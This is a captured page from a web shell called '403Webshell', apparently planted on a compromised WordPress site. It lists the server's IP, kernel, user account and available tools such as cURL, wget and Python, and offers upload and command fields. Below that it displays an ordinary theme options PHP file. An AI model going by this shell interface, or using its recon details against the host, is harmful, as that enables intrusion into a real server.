403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.216.104
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lastyfjz/dermalaserclinic.co.uk/wp-content/themes/cherie/admin/option/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/lastyfjz/dermalaserclinic.co.uk/wp-content/themes/cherie/admin/option/options-setting.php
<?php
/**
 * Wrapper for calling a Kirki and save default option values
 *
 */

if(!class_exists('CHERIE_Options')):
    class CHERIE_Options {
        /**
         * The single class instance.
         *
         * @since 1.0.0
         * @access private
         *
         * @var object
         */
        private static $default_options = [];

        /**
         * Main Instance
         * Ensures only one instance of this class exists in memory at any one time.
         *
         */
        public static function add_field ($args) {
            if(isset($args) && is_array($args)){
                if(class_exists('Kirki')){
                    Kirki::add_field('cherie', $args);
                }
                if(isset($args['settings']) && isset($args['default'])){
                    self::$default_options[$args['settings']] = $args['default'];
                }
            }
        }

        public static function add_config($args){
            if(class_exists('Kirki') && isset($args) && is_array($args)){
                Kirki::add_config('cherie', $args);
            }
        }

        public static function add_panel($name, $args){
            if(class_exists('Kirki') && isset($args) && is_array($args)){
                Kirki::add_panel($name, $args);
            }
        }

        public static function add_section($name, $args){
            if(class_exists('Kirki') && isset($args) && is_array($args)){
                Kirki::add_section($name, $args);
            }
        }

        public static function get_option($name) {

            $value = get_theme_mod($name, null);

            if ($value === null) {

                $value = isset(self::$default_options[$name]) ? self::$default_options[$name] : null;

            }

            if($value === 'on'){
                $value = true;
            } elseif ($value === 'off'){
                $value = false;
            }

            return $value;
        }
    }
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit